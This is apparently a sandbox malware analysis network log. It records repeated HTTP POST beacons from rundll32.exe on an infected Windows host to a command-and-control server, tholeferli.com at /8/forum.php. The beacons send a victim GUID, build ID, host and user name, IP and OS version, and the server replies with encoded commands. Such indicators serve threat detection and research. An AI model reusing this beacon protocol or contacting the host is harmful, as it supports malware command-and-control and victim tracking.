Jul 22, 2021 16:12:35.416528940 CEST	499	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:35.574692965 CEST	500	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 5a 41 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJZAQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.22	49350	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:35.860683918 CEST	500	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:36.016088963 CEST	501	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 4e 4d 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZNMAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.22	49351	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:36.291343927 CEST	502	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:36.460500956 CEST	502	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 43 58 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMCXNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.22	49352	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:36.727144957 CEST	503	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:36.894742012 CEST	503	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 43 58 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMCXNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.22	49353	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:37.342535019 CEST	504	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:37.501259089 CEST	504	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 5a 41 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZZAAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.22	49354	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:38.112885952 CEST	505	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:38.268619061 CEST	505	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 5a 41 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGZATARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.22	49355	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:38.569412947 CEST	506	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:38.741261005 CEST	506	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 5a 41 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTZAGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.22	49356	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:39.036431074 CEST	507	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:40.207247019 CEST	507	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 48 53 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHHSSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.22	49186	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:11.662718058 CEST	316	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:11.833951950 CEST	317	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 51 4a 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAQJZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.22	49357	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:40.500648022 CEST	508	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:40.669029951 CEST	509	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 54 47 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQTGJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.22	49358	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:40.945125103 CEST	509	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:41.113933086 CEST	510	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 56 45 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZVEAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.22	49359	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:41.403152943 CEST	510	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:41.561014891 CEST	511	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 4e 4d 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cANMZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.22	49360	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:41.838561058 CEST	512	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:41.995012045 CEST	512	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 59 42 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJYBQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.22	49361	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:42.266980886 CEST	513	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:42.422451019 CEST	513	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 48 53 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTHSGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.22	49362	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:42.708059072 CEST	514	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:42.866810083 CEST	514	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 59 42 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQYBJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.22	49363	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:43.142509937 CEST	515	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:43.311347008 CEST	515	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 48 53 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQHSJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.22	49364	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:43.592484951 CEST	516	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:43.759109974 CEST	516	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 42 59 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCBYXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.22	49365	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:44.030925989 CEST	517	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:44.500493050 CEST	518	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 42 59 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCBYXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.22	49366	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:44.782286882 CEST	518	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:45.254894972 CEST	519	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 4d 4e 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQMNJARRABw==0

